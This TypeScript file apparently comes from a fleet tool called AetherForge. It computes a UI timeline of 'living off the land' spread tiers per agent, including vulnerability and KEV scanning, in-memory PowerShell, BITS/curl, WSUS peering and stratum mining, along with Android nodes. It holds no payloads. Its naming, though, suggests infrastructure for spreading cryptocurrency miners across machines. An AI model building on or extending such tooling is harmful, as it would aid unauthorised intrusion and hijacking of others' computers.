Files
AetherForge/server/web/src/help/lotlTimeline.ts
AetherForge 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
2026-06-07 02:44:29 -07:00

150 lines
4.7 KiB
TypeScript

import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
import type { AtlasSkipView } from './accessDepth';
import { ANDROID_DESKTOP_SKIPPED_TIER, ANDROID_MINING_TIER_ORDER } from './accessDepth';
import type { Agent } from '../types';
import { isAndroidPlatform } from './platform';
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
/** Per-tier state for the live onion timeline UI. */
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped' | 'skipped_by_atlas';
export interface LotlTimelineTierRow {
index: number;
tier: string;
label: string;
hint: string;
state: LotlTimelineTierState;
attempt?: TierAttempt;
}
export interface LotlTimelineModel {
tiers: LotlTimelineTierRow[];
total: number;
succeeded: number;
activeTier?: string;
tryingTier?: string;
}
/** Map attempt tier ids to spread onion tier ids (case-insensitive). */
const TIER_ALIASES: Record<string, string> = {
container: 'docker',
docker_load: 'docker',
vuln_probe: 'vuln_recon',
kev_scan: 'vuln_recon',
service_probe: 'vuln_recon',
ps_memory: 'powershell',
ps_inmemory: 'powershell',
bits: 'bits_curl',
curl: 'bits_curl',
wsus: 'wsus_cache_peer',
wsus_cache: 'wsus_cache_peer',
webrtc: 'webrtc_mesh',
mesh: 'webrtc_mesh',
exe_subprocess: 'powershell',
cpu_inprocess: 'dotnet',
gpu_subprocess: 'dotnet',
stratum_direct: 'dotnet',
};
function normalizeTierKey(tier: string): string {
return tier.trim().toLowerCase().replace(/[\s-]+/g, '_');
}
function canonicalSpreadTier(tier: string): string {
const key = normalizeTierKey(tier);
return TIER_ALIASES[key] ?? key;
}
function tierDocHint(tier: string): string {
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.hint ?? '';
}
function tierLabel(tier: string): string {
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) return 'Desktop tiers skipped';
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
}
function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAttempt | undefined {
const target = canonicalSpreadTier(spreadTier);
for (let i = attempts.length - 1; i >= 0; i--) {
if (canonicalSpreadTier(attempts[i].tier) === target) return attempts[i];
}
return undefined;
}
export function resolveLotlTierOrder(policyTiers?: string[], agent?: Agent): string[] {
if (agent && isAndroidPlatform(agent.platform)) {
return [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER];
}
if (policyTiers?.length) return [...policyTiers];
return [...DEFAULT_LOTL_ONION_TIERS];
}
export function buildLotlTimelineModel(
agent: Agent,
order: string[],
attempts: TierAttempt[],
skipped: string[] = [],
atlasSkips: AtlasSkipView[] = [],
): LotlTimelineModel {
const effectiveOrder = isAndroidPlatform(agent.platform)
? [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER]
: order;
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
const activeTier = agent.lotl_tier?.trim() || undefined;
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
const online = agent.status === 'online';
let tryingTier: string | undefined;
if (online && activeCanon) {
const last = lastAttemptForTier(attempts, activeCanon);
if (!last?.ok) tryingTier = activeCanon;
}
const tiers: LotlTimelineTierRow[] = effectiveOrder.map((tier, i) => {
const key = canonicalSpreadTier(tier);
const attempt = lastAttemptForTier(attempts, tier);
let state: LotlTimelineTierState = 'pending';
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) {
state = 'skipped';
} else if (atlasSet.has(key)) {
state = 'skipped_by_atlas';
} else if (skippedSet.has(key)) {
state = 'skipped';
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
state = 'trying';
} else if (attempt?.ok) {
state = 'success';
} else if (attempt && !attempt.ok) {
state = 'failed';
}
return {
index: i + 1,
tier,
label: tierLabel(tier),
hint: tierDocHint(tier),
state,
attempt,
};
});
const succeeded = tiers.filter((t) => t.state === 'success').length;
return {
tiers,
total: effectiveOrder.length,
succeeded,
activeTier,
tryingTier,
};
}
export function lotlTimelineProgressLabel(model: LotlTimelineModel): string {
return `${model.succeeded}/${model.total}`;
}